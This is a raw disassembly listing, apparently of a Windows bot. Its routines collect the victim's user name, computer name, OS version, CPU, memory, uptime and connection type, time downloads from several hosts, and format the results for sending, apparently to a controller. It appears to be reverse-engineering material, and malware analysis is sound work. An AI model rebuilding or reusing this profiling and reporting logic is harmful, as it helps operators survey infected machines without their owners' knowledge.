loc_4082C4:				; CODE XREF: sub_40821B+94j
					; sub_40821B+9Cj
		cmp	[ebp+var_14], 0
		ja	short loc_4082DD
		jb	short loc_4082D2
		cmp	[ebp+var_18], 37h
		jnb	short loc_4082DD

loc_4082D2:				; CODE XREF: sub_40821B+AFj
		mov	[ebp+var_10], 32h
		and	[ebp+var_C], 0

loc_4082DD:				; CODE XREF: sub_40821B+ADj
					; sub_40821B+B5j
		cmp	[ebp+var_14], 0
		ja	short loc_4082F6
		jb	short loc_4082EB
		cmp	[ebp+var_18], 26h
		jnb	short loc_4082F6

loc_4082EB:				; CODE XREF: sub_40821B+C8j
		mov	[ebp+var_10], 21h
		and	[ebp+var_C], 0

loc_4082F6:				; CODE XREF: sub_40821B+C6j
					; sub_40821B+CEj
		cmp	[ebp+var_14], 0
		ja	short loc_40830F
		jb	short loc_408304
		cmp	[ebp+var_18], 1Eh
		jnb	short loc_40830F

loc_408304:				; CODE XREF: sub_40821B+E1j
		mov	[ebp+var_10], 19h
		and	[ebp+var_C], 0

loc_40830F:				; CODE XREF: sub_40821B+DFj
					; sub_40821B+E7j
		cmp	[ebp+var_14], 0
		ja	short loc_408325
		jb	short loc_40831D
		cmp	[ebp+var_18], 0Ah
		jnb	short loc_408325

loc_40831D:				; CODE XREF: sub_40821B+FAj
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0

loc_408325:				; CODE XREF: sub_40821B+F8j
					; sub_40821B+100j
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_18]
		mov	ecx, [ebp+var_4]
		sbb	ecx, [ebp+var_14]
		add	eax, [ebp+var_10]
		adc	ecx, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_8]
		leave
		retn
sub_40821B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408342	proc near		; CODE XREF: sub_40D043+156p
					; sub_40D871+30Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1Fh
		push	[ebp+arg_0]
		push	7
		push	400h
		call	dword_417034	; GetLocaleInfoA
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+3], 0
		cmp	[ebp+var_4], 0
		jz	short loc_408381
		push	offset off_419100
		push	[ebp+arg_0]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4083A8

loc_408381:				; CODE XREF: sub_408342+2Aj
		push	1Fh
		push	[ebp+arg_0]
		push	7
		push	800h
		call	dword_417034	; GetLocaleInfoA
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+3], 0
		mov	eax, [ebp+var_4]
		jmp	short locret_4083AB
; ---------------------------------------------------------------------------

loc_4083A8:				; CODE XREF: sub_408342+3Dj
		push	1
		pop	eax

locret_4083AB:				; CODE XREF: sub_408342+64j
		leave
		retn
sub_408342	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4083AD	proc near		; DATA XREF: sub_4087C4+35o

var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_73C		= dword	ptr -73Ch
var_738		= dword	ptr -738h
var_734		= byte ptr -734h
var_72C		= dword	ptr -72Ch
var_728		= dword	ptr -728h
var_714		= dword	ptr -714h
var_710		= dword	ptr -710h
var_70C		= dword	ptr -70Ch
var_708		= byte ptr -708h
var_6F0		= dword	ptr -6F0h
var_6EC		= dword	ptr -6ECh
var_6E8		= dword	ptr -6E8h
var_6E4		= dword	ptr -6E4h
var_6E0		= byte ptr -6E0h
var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= byte ptr -6C8h
var_524		= dword	ptr -524h
var_520		= dword	ptr -520h
var_51C		= dword	ptr -51Ch
var_518		= dword	ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= byte ptr -50Ch
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= byte ptr -47Ch
var_409		= byte ptr -409h
var_408		= byte ptr -408h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 750h
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_6CC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_734]
		push	eax
		call	dword_4170C4	; GlobalMemoryStatus
		mov	eax, [ebp+var_72C]
		add	eax, 100000h
		shr	eax, 14h
		mov	[ebp+var_6F0], eax
		mov	eax, [ebp+var_728]
		add	eax, 100000h
		shr	eax, 14h
		mov	[ebp+var_738], eax
		call	sub_4092A4
		mov	[ebp+var_714], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_6E8], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_524], eax
		mov	eax, [ebp+var_714]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_6E4], eax
		mov	[ebp+var_8], 15h
		mov	[ebp+var_6D0], 10h
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_708]
		push	eax
		call	dword_417018	; GetUserNameA
		lea	eax, [ebp+var_6D0]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		call	dword_417078	; GetComputerNameA
		mov	[ebp+var_520], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_51C]
		rep stosd
		lea	eax, [ebp+var_520]
		push	eax
		call	dword_417030	; GetVersionExA
		mov	[ebp+var_48C], offset a? ; "?"
		mov	[ebp+var_710], offset aNoSp ; "no SP"
		cmp	[ebp+var_51C], 4
		jnz	short loc_408522
		cmp	[ebp+var_518], 0
		jnz	short loc_408522
		cmp	[ebp+var_510], 1
		jnz	short loc_40850A
		mov	[ebp+var_48C], offset a95 ; "95"

loc_40850A:				; CODE XREF: sub_4083AD+151j
		cmp	[ebp+var_510], 2
		jnz	short loc_40851D
		mov	[ebp+var_48C], offset aNt ; "NT"

loc_40851D:				; CODE XREF: sub_4083AD+164j
		jmp	loc_4085B6
; ---------------------------------------------------------------------------

loc_408522:				; CODE XREF: sub_4083AD+13Fj
					; sub_4083AD+148j
		cmp	[ebp+var_51C], 4
		jnz	short loc_408540
		cmp	[ebp+var_518], 0Ah
		jnz	short loc_408540
		mov	[ebp+var_48C], offset a98 ; "98"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------

loc_408540:				; CODE XREF: sub_4083AD+17Cj
					; sub_4083AD+185j
		cmp	[ebp+var_51C], 4
		jnz	short loc_40855E
		cmp	[ebp+var_518], 5Ah
		jnz	short loc_40855E
		mov	[ebp+var_48C], offset aMe ; "ME"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------

loc_40855E:				; CODE XREF: sub_4083AD+19Aj
					; sub_4083AD+1A3j
		cmp	[ebp+var_51C], 5
		jnz	short loc_40857C
		cmp	[ebp+var_518], 0
		jnz	short loc_40857C
		mov	[ebp+var_48C], offset a2000 ; "2000"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------

loc_40857C:				; CODE XREF: sub_4083AD+1B8j
					; sub_4083AD+1C1j
		cmp	[ebp+var_51C], 5
		jnz	short loc_40859A
		cmp	[ebp+var_518], 1
		jnz	short loc_40859A
		mov	[ebp+var_48C], offset aXp ; "XP"
		jmp	short loc_4085B6
; ---------------------------------------------------------------------------

loc_40859A:				; CODE XREF: sub_4083AD+1D6j
					; sub_4083AD+1DFj
		cmp	[ebp+var_51C], 5
		jnz	short loc_4085B6
		cmp	[ebp+var_518], 2
		jnz	short loc_4085B6
		mov	[ebp+var_48C], offset a2003 ; "2003"

loc_4085B6:				; CODE XREF: sub_4083AD:loc_40851Dj
					; sub_4083AD+191j ...
		cmp	[ebp+var_510], 2
		jnz	short loc_4085D6
		movsx	eax, [ebp+var_50C]
		test	eax, eax
		jz	short loc_4085D6
		lea	eax, [ebp+var_50C]
		mov	[ebp+var_710], eax

loc_4085D6:				; CODE XREF: sub_4083AD+210j
					; sub_4083AD+21Bj
		call	sub_40435B
		test	eax, eax
		jz	short loc_4085EB
		mov	[ebp+var_744], offset aYes ; "Yes"
		jmp	short loc_4085F5
; ---------------------------------------------------------------------------

loc_4085EB:				; CODE XREF: sub_4083AD+230j
		mov	[ebp+var_744], offset aNo ; "No"

loc_4085F5:				; CODE XREF: sub_4083AD+23Cj
		mov	eax, [ebp+var_744]
		mov	[ebp+var_4], eax
		and	[ebp+var_47C], 0
		and	[ebp+var_409], 0
		xor	eax, eax
		cpuid
		mov	[ebp+var_488], ebx
		mov	[ebp+var_484], edx
		mov	[ebp+var_480], ecx
		lea	eax, [ebp+var_488]
		mov	[ebp+var_6EC], eax
		and	[ebp+var_70C], 0
		lea	eax, [ebp+var_70C]
		push	eax
		push	20019h
		push	0
		push	offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"...
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4086B3
		and	[ebp+var_73C], 0
		mov	[ebp+var_740], 80h
		lea	eax, [ebp+var_740]
		push	eax
		lea	eax, [ebp+var_488]
		push	eax
		lea	eax, [ebp+var_73C]
		push	eax
		push	0
		push	offset aProcessornames ; "ProcessorNameString"
		push	[ebp+var_70C]
		call	dword_41700C	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_4086A7
		push	1
		push	1
		lea	eax, [ebp+var_488]
		push	eax
		call	sub_407C2C
		add	esp, 0Ch

loc_4086A7:				; CODE XREF: sub_4083AD+2E5j
		push	[ebp+var_70C]
		call	dword_417028	; RegCloseKey

loc_4086B3:				; CODE XREF: sub_4083AD+2A8j
		cmp	[ebp+var_6E4], 1
		jnz	short loc_4086C8
		mov	[ebp+var_748], offset byte_41DF00
		jmp	short loc_4086D2
; ---------------------------------------------------------------------------

loc_4086C8:				; CODE XREF: sub_4083AD+30Dj
		mov	[ebp+var_748], offset dword_4191F4

loc_4086D2:				; CODE XREF: sub_4083AD+319j
		cmp	[ebp+var_524], 1
		jnz	short loc_4086E7
		mov	[ebp+var_74C], offset byte_41DF00
		jmp	short loc_4086F1
; ---------------------------------------------------------------------------

loc_4086E7:				; CODE XREF: sub_4083AD+32Cj
		mov	[ebp+var_74C], offset dword_4191F4

loc_4086F1:				; CODE XREF: sub_4083AD+338j
		cmp	[ebp+var_6E8], 1
		jnz	short loc_408706
		mov	[ebp+var_750], offset byte_41DF00
		jmp	short loc_408710
; ---------------------------------------------------------------------------

loc_408706:				; CODE XREF: sub_4083AD+34Bj
		mov	[ebp+var_750], offset dword_4191F4

loc_408710:				; CODE XREF: sub_4083AD+357j
		lea	eax, [ebp+var_708]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		push	[ebp+var_748]
		push	[ebp+var_6E4]
		push	[ebp+var_74C]
		push	[ebp+var_524]
		push	[ebp+var_750]
		push	[ebp+var_6E8]
		push	[ebp+var_4]
		push	[ebp+var_6F0]
		push	[ebp+var_738]
		call	sub_40821B
		push	eax
		push	[ebp+var_6EC]
		push	[ebp+var_514]
		push	[ebp+var_518]
		push	[ebp+var_51C]
		push	[ebp+var_710]
		push	[ebp+var_48C]
		push	offset dword_419104
		push	400h
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 54h
		lea	eax, [ebp+var_408]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_6C8]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_6CC]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4083AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087C4	proc near		; CODE XREF: sub_40A9CF+1B9Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4087DE
		jmp	short locret_408806
; ---------------------------------------------------------------------------

loc_4087DE:				; CODE XREF: sub_4087C4+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aSysinfoThread ;	"Sysinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_4083AD
		call	sub_4095A4
		add	esp, 10h

locret_408806:				; CODE XREF: sub_4087C4+18j
		leave
		retn
sub_4087C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408808	proc near		; CODE XREF: sub_408887+Bp
					; sub_408887+19p ...

var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	[ebp+arg_0]
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4105FB
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp+var_4], eax
		push	7D0h
		push	0
		push	offset a80	; "80"
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx
		cmp	[ebp+var_8], 0
		jnz	short loc_40885F
		mov	eax, 3E8h
		jmp	short locret_408885
; ---------------------------------------------------------------------------

loc_40885F:				; CODE XREF: sub_408808+4Ej
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		cmp	eax, 3E8h
		jnb	short loc_40887B
		call	sub_416B64	; clock
		sub	eax, [ebp+var_4]
		mov	[ebp+var_2C], eax
		jmp	short loc_408882
; ---------------------------------------------------------------------------

loc_40887B:				; CODE XREF: sub_408808+64j
		mov	[ebp+var_2C], 3E8h

loc_408882:				; CODE XREF: sub_408808+71j
		mov	eax, [ebp+var_2C]

locret_408885:				; CODE XREF: sub_408808+55j
		leave
		retn
sub_408808	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408887	proc near		; CODE XREF: sub_408B30+1C2p
					; sub_40CA29+1E9p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	offset dword_418F60
		call	sub_408808
		pop	ecx
		mov	[ebp+var_4], eax
		push	offset dword_418F6C
		call	sub_408808
		pop	ecx
		mov	[ebp+var_8], eax
		push	offset dword_418F84
		call	sub_408808
		pop	ecx
		mov	[ebp+var_C], eax
		push	offset dword_418F90
		call	sub_408808
		pop	ecx
		mov	[ebp+var_10], eax
		push	offset dword_418FA0
		call	sub_408808
		pop	ecx
		mov	[ebp+var_14], eax
		push	offset dword_418FB0
		call	sub_408808
		pop	ecx
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		add	eax, [ebp+var_14]
		add	eax, [ebp+var_18]
		xor	edx, edx
		push	6
		pop	ecx
		div	ecx
		leave
		retn
sub_408887	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4088FC	proc near		; CODE XREF: sub_408B30:loc_408D33p

var_438		= qword	ptr -438h
var_430		= dword	ptr -430h
var_42C		= qword	ptr -42Ch
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_30C		= dword	ptr -30Ch
var_308		= byte ptr -308h
var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 438h
		and	[ebp+var_8], 0
		jmp	short loc_408912
; ---------------------------------------------------------------------------

loc_40890B:				; CODE XREF: sub_4088FC+23j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_408912:				; CODE XREF: sub_4088FC+Dj
		mov	eax, [ebp+var_8]
		cmp	off_418FC4[eax*4], 0
		jz	short loc_408921
		jmp	short loc_40890B
; ---------------------------------------------------------------------------

loc_408921:				; CODE XREF: sub_4088FC+21j
		mov	eax, [ebp+var_8]
		shr	eax, 1
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_408936
; ---------------------------------------------------------------------------

loc_40892F:				; CODE XREF: sub_4088FC+D6j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_408936:				; CODE XREF: sub_4088FC+31j
		cmp	[ebp+var_4], 3
		jnb	loc_408B2C
		mov	eax, [ebp+var_8]
		dec	eax
		push	eax
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_318], eax
		mov	eax, [ebp+var_318]
		shl	eax, 1
		push	off_418FC4[eax*4]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_318]
		shl	eax, 1
		push	off_418FC8[eax*4]
		lea	eax, [ebp+var_308]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_308]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	2710h
		push	0
		push	offset a80	; "80"
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_310], eax
		cmp	[ebp+var_310], 0
		jnz	short loc_4089D7
		jmp	loc_40892F
; ---------------------------------------------------------------------------

loc_4089D7:				; CODE XREF: sub_4088FC+D4j
		lea	eax, [ebp+var_418]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		push	200h
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 14h
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+var_310]
		call	sub_4053BF
		add	esp, 0Ch
		and	[ebp+var_314], 0
		call	sub_416B64	; clock
		mov	[ebp+var_41C], eax
		and	[ebp+var_30C], 0

loc_408A3A:				; CODE XREF: sub_4088FC+1AFj
					; sub_4088FC+22Bj
		push	1388h
		push	200h
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+var_310]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_408A93
		cmp	[ebp+var_420], 0FFFFFFFFh
		jz	short loc_408A93
		call	sub_416B64	; clock
		sub	eax, [ebp+var_41C]
		cmp	eax, 1388h
		jnb	short loc_408A93
		cmp	[ebp+var_30C], 100000h
		jb	loc_408B15

loc_408A93:				; CODE XREF: sub_4088FC+16Aj
					; sub_4088FC+173j ...
		cmp	[ebp+var_30C], 2000h
		jnb	short loc_408AAD
		push	[ebp+var_310]
		call	sub_40538D
		pop	ecx
		jmp	short loc_408A3A
; ---------------------------------------------------------------------------

loc_408AAD:				; CODE XREF: sub_4088FC+1A1j
		mov	eax, [ebp+var_30C]
		mov	dword ptr [ebp+var_42C], eax
		and	dword ptr [ebp+var_42C+4], 0
		fild	[ebp+var_42C]
		fstp	[ebp+var_430]
		call	sub_416B64	; clock
		sub	eax, [ebp+var_41C]
		mov	dword ptr [ebp+var_438], eax
		and	dword ptr [ebp+var_438+4], 0
		fild	[ebp+var_438]
		fdiv	flt_417270
		fdivr	[ebp+var_430]
		call	sub_416CF8	; _ftol
		mov	[ebp+var_424], eax
		push	[ebp+var_310]
		call	sub_40538D
		pop	ecx
		mov	eax, [ebp+var_424]
		jmp	short locret_408B2E
; ---------------------------------------------------------------------------

loc_408B15:				; CODE XREF: sub_4088FC+191j
		mov	eax, [ebp+var_30C]
		add	eax, [ebp+var_420]
		mov	[ebp+var_30C], eax
		jmp	loc_408A3A
; ---------------------------------------------------------------------------

loc_408B2C:				; CODE XREF: sub_4088FC+3Ej
		xor	eax, eax

locret_408B2E:				; CODE XREF: sub_4088FC+217j
		leave
		retn
sub_4088FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408B30	proc near		; DATA XREF: sub_408E4A+35o

var_A9C		= qword	ptr -0A9Ch
var_A7C		= qword	ptr -0A7Ch
var_A74		= dword	ptr -0A74h
var_A70		= dword	ptr -0A70h
var_A6C		= dword	ptr -0A6Ch
var_A68		= dword	ptr -0A68h
var_A64		= dword	ptr -0A64h
var_A60		= dword	ptr -0A60h
var_A5C		= byte ptr -0A5Ch
var_8B8		= dword	ptr -8B8h
var_8B4		= dword	ptr -8B4h
var_8B0		= byte ptr -8B0h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= byte ptr -814h
var_414		= byte ptr -414h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A7Ch
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_A60]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	offset dword_41F018
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_824]
		push	eax
		push	0
		push	0
		push	offset dword_41F018
		call	dword_41DF54	; getaddrinfo
		test	eax, eax
		jnz	short loc_408BBC
		push	1
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_414]
		push	eax
		mov	eax, [ebp+var_824]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_824]
		push	dword ptr [eax+18h]
		call	dword_41DF58	; getnameinfo
		push	[ebp+var_824]
		call	dword_41DF5C	; freeaddrinfo

loc_408BBC:				; CODE XREF: sub_408B30+54j
		call	sub_409318
		mov	[ebp+var_8B8], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_830], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	[ebp+var_820], eax
		mov	eax, [ebp+var_8B8]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		mov	ecx, 0E10h
		div	ecx
		mov	eax, edx
		xor	edx, edx
		push	3Ch
		pop	ecx
		div	ecx
		mov	[ebp+var_82C], eax
		push	offset aUnknown_0 ; "Unknown"
		lea	eax, [ebp+var_8B0]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset aUnknown_0 ; "Unknown"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	dword_41DF4C, 0
		jz	short loc_408C9F
		push	0
		push	80h
		lea	eax, [ebp+var_8B0]
		push	eax
		lea	eax, [ebp+var_818]
		push	eax
		call	dword_41DF4C	; InternetGetConnectedStateEx
		test	eax, eax
		jz	short loc_408C9F
		mov	eax, [ebp+var_818]
		and	eax, 1
		test	eax, eax
		jz	short loc_408C8F
		push	offset aModem	; "Modem"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_408C9F
; ---------------------------------------------------------------------------

loc_408C8F:				; CODE XREF: sub_408B30+14Bj
		push	offset aLan	; "LAN"
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_408C9F:				; CODE XREF: sub_408B30+11Fj
					; sub_408B30+13Ej ...
		call	sub_4043E9
		test	eax, eax
		jz	short loc_408CB4
		mov	[ebp+var_A64], offset aYes ; "Yes"
		jmp	short loc_408CBE
; ---------------------------------------------------------------------------

loc_408CB4:				; CODE XREF: sub_408B30+176j
		mov	[ebp+var_A64], offset aNo ; "No"

loc_408CBE:				; CODE XREF: sub_408B30+182j
		mov	eax, [ebp+var_A64]
		mov	[ebp+var_8], eax
		call	sub_404279
		test	eax, eax
		jz	short loc_408CDC
		mov	[ebp+var_A68], offset aYes ; "Yes"
		jmp	short loc_408CE6
; ---------------------------------------------------------------------------

loc_408CDC:				; CODE XREF: sub_408B30+19Ej
		mov	[ebp+var_A68], offset aNo ; "No"

loc_408CE6:				; CODE XREF: sub_408B30+1AAj
		mov	eax, [ebp+var_A68]
		mov	[ebp+var_8B4], eax
		call	sub_408887
		mov	[ebp+var_828], eax
		mov	[ebp+var_81C], offset aBad ; "Bad"
		cmp	[ebp+var_828], 2EEh
		jnb	short loc_408D1D
		mov	[ebp+var_81C], offset aAvarage ; "Avarage"

loc_408D1D:				; CODE XREF: sub_408B30+1E1j
		cmp	[ebp+var_828], 1F4h
		jnb	short loc_408D33
		mov	[ebp+var_81C], offset aGood ; "Good"

loc_408D33:				; CODE XREF: sub_408B30+1F7j
		call	sub_4088FC
		mov	[ebp+var_4], eax
		cmp	[ebp+var_82C], 1
		jnz	short loc_408D50
		mov	[ebp+var_A6C], offset byte_41DF00
		jmp	short loc_408D5A
; ---------------------------------------------------------------------------

loc_408D50:				; CODE XREF: sub_408B30+212j
		mov	[ebp+var_A6C], offset dword_4191F4

loc_408D5A:				; CODE XREF: sub_408B30+21Ej
		cmp	[ebp+var_820], 1
		jnz	short loc_408D6F
		mov	[ebp+var_A70], offset byte_41DF00
		jmp	short loc_408D79
; ---------------------------------------------------------------------------

loc_408D6F:				; CODE XREF: sub_408B30+231j
		mov	[ebp+var_A70], offset dword_4191F4

loc_408D79:				; CODE XREF: sub_408B30+23Dj
		cmp	[ebp+var_830], 1
		jnz	short loc_408D8E
		mov	[ebp+var_A74], offset byte_41DF00
		jmp	short loc_408D98
; ---------------------------------------------------------------------------

loc_408D8E:				; CODE XREF: sub_408B30+250j
		mov	[ebp+var_A74], offset dword_4191F4

loc_408D98:				; CODE XREF: sub_408B30+25Cj
		push	[ebp+var_A6C]
		push	[ebp+var_82C]
		push	[ebp+var_A70]
		push	[ebp+var_820]
		push	[ebp+var_A74]
		push	[ebp+var_830]
		mov	eax, [ebp+var_4]
		mov	dword ptr [ebp+var_A7C], eax
		and	dword ptr [ebp+var_A7C+4], 0
		fild	[ebp+var_A7C]
		fdiv	flt_417274
		push	ecx
		push	ecx
		fstp	[esp+0A9Ch+var_A9C]
		push	[ebp+var_828]
		push	[ebp+var_81C]
		push	[ebp+var_8B4]
		push	[ebp+var_8]
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8B0]
		push	eax
		lea	eax, [ebp+var_414]
		push	eax
		push	offset dword_419284
		push	400h
		lea	eax, [ebp+var_814]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 48h
		lea	eax, [ebp+var_814]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_A60]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_408B30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E4A	proc near		; CODE XREF: sub_40A9CF+1BD8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_408E64
		jmp	short locret_408E8C
; ---------------------------------------------------------------------------

loc_408E64:				; CODE XREF: sub_408E4A+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aNetinfoThread ;	"Netinfo thread"
		push	0
		push	[ebp+var_4]
		push	offset sub_408B30
		call	sub_4095A4
		add	esp, 10h

locret_408E8C:				; CODE XREF: sub_408E4A+18j
		leave
		retn
sub_408E4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E8E	proc near		; CODE XREF: sub_40CA29+1C5p
					; sub_40CA29+2DAp ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
